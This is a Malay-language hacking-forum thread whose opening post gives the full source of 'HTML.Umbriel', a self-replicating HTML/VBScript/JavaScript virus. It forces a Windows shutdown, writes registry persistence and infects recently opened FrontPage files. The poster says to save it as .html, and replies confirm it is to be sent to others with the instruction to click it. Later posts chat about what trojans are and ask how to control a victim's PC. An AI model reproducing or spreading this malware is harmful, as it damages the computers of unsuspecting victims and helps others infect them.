Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Trojan
14-12-2008, 01:50 AM,
Post: #1
Trojan
Code:
<html><!--Umbriel-->
<head>
<title> Second Part To Hell's HTML.Umbriel </title>
</head>
<body>
<script language="VBScript">
rem VBS
On Error Resume Next
Dim fso, shell, wrte, tempdir, windir, rand, file
Set fso=CreateObject("Scripting.FileSystemObject")
Set shell=CreateObject("Wscript.Shell")
if err.number=429 Then
  shell.Run javascript:location.reload()
End If

Set windir=fso.GetSpecialFolder(0)
Set tempdir=fso.GetSpecialFolder(2)

Set wrte=fso.CreateTextFile(windir+"\windows.cmd")
wrte.WriteLine "cls"
wrte.WriteLine "@echo off"
wrte.WriteLine "shutdown -s -f -t 300 -c "+chr(34)+"Second Part To Hell's Umbriel has you..."+chr(34)
wrte.Close()

shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Components\1\Source", "C:\umbriel.html"
shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Components\1\SubscribedURL", "C:\umbriel.html"

Randomize
rand=int(rnd*5)+1
If rand=1 then
  shell.Run windir+"\windows.cmd"
End If
</script>

<script language="JavaScript">
// JS
var viruspath, virus, code, fso, file, check, checka, checkb
fso=new ActiveXObject("Scripting.FileSystemObject")
viruspath=window.location.pathname
viruspath=viruspath.slice(1)
virus=fso.OpenTextFile(viruspath,1)
file=fso.CreateTextFile("C:\\umbriel.html")
for (i=0; i<500; i++)
{
  if (checkb!=1)
  {
    if (Math.round(Math.random()*5)+1 == 3)
    {
      if (check == 2)
      {
        file.WriteLine("/"+"*")
        file.WriteLine("*"+"/")
      }
      if (check == 3)
      {
        file.WriteLine("rem")
      }
    }
    code=virus.ReadLine()
    if (code == "/"+"*") { checka=666 }
    if (code == "*"+"/") { checka=666 }
    if (code == "rem") { checka=666 }
    if (checka != 666 ) { file.WriteLine(code) }
    checka=0
    if (code=="</"+unescape("%68")+"tml>") { checkb=1 }
    if (code=="// JS") { check=2 }
    if (code=="rem VBS") { check=3 }
    if (code=="</"+unescape("%73")+"cript>") { check=0 }
  }
}
virus.Close();
file.Close();
</script>

<script language="VBScript">
rem VBS
On Error Resume Next
set fso=CreateObject("Scripting.FileSystemObject")
set shell=CreateObject("WScript.Shell")
set myfile=fso.OpenTextFile("C:\umbriel.html")
mycode=myfile.ReadAll
myfile.Close()
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File1")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File2")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File3")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File4")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File5")
if rr <> "" Then Call Umbriel(rr, mycode)

Sub Umbriel(rr, mycode)
set victim=fso.OpenTextFile(rr)
infcheck=victim.ReadLine
If infcheck<>"<html><!--Umbriel-->" Then
  viccode=victim.ReadAll
  victim.Close()
  set wrtevic=fso.OpenTextFile(rr, 2, false, 0)
  wrtevic.Write (mycode+infcheck+chr(13)+chr(10)+viccode)
  wrtevic.Close
End If

End Sub
</script>
</body>
</html>

type dlm notepad and save as "letak nama kat sini".html

Warning : Gune dgn tggunjawab sendiri :emo49:
Reply
25-12-2008, 09:06 PM,
Post: #2
Re: Trojan
pastu send kat orang ke bro?
[Image: untitled.jpg]

[Image: tbd.jpg]
Reply
29-12-2008, 04:11 PM,
Post: #3
Re: Trojan
yup...n suruh org tu click...
Reply
03-09-2009, 07:24 AM,
Post: #4
Re: Trojan
aku kurang arif pasal trojan nie. :emy_57:

Adakah trojan tu virus yg bleh jd spyware?
HACK & CRACK --> cyberpunk allows to cyber crime

Reply
03-09-2009, 07:48 AM,
Post: #5
Re: Trojan
cyberaptor Wrote:aku kurang arif pasal trojan nie. :emy_57:

Adakah trojan tu virus yg bleh jd spyware?

trojan nih mcam malware la~
Troll 2 LU MANA MARI ? HAHA Troll 2
Reply
03-09-2009, 08:49 AM,
Post: #6
Re: Trojan
cyberaptor Wrote:aku kurang arif pasal trojan nie. :emy_57:

Adakah trojan tu virus yg bleh jd spyware?

trojan horse tu bkn spyware..

spyware = malware yg digunakan utk spy pc ko... mcm keylogger.
trojan = malware yang digunakan olehorg tertentu utk control pc mangsa dari jauh samaada utk mencuri data, modify dan ape saje la org tu nak buat..

malware = malicious software = software yang tak patut ade kat komputer, sebab malware dicipta utk berada di komputer mangsa tanpa pengetahuan. Contoh malware ialah viruses, worm, trojan, rootkits, spyware, adware, crimeware dll..
[Image: GteM3.png]
Reply
03-09-2009, 10:24 AM,
Post: #7
Re: Trojan
dh klu aku send trojan kat org
mcm mne aku nk kwal pc org 2?
Reply
03-09-2009, 12:28 PM,
Post: #8
Re: Trojan
Rentokill Wrote:dh klu aku send trojan kat org
mcm mne aku nk kwal pc org 2?

Aku agree jugak dgn soalan bro nie. Mcm mana nak control tu? :emy_58:
HACK & CRACK --> cyberpunk allows to cyber crime

Reply
03-09-2009, 12:30 PM,
Post: #9
Re: Trojan
biasa dh..
soalan aku kan..
hehehe
Reply
03-09-2009, 01:33 PM,
Post: #10
Re: Trojan
Rentokill Wrote:dh klu aku send trojan kat org
mcm mne aku nk kwal pc org 2?

kalau ko yang cipta software tu.. so ko tau la cane nak control.. ape nye soklan ni? Lulz"
[Image: GteM3.png]
Reply
03-09-2009, 02:54 PM,
Post: #11
Re: Trojan
klau pencipta ni bukan kita , so owner dye je leh control >,,<
"You're what you achieve. Therefore be the man you wanted to be."
Reply


Forum Jump: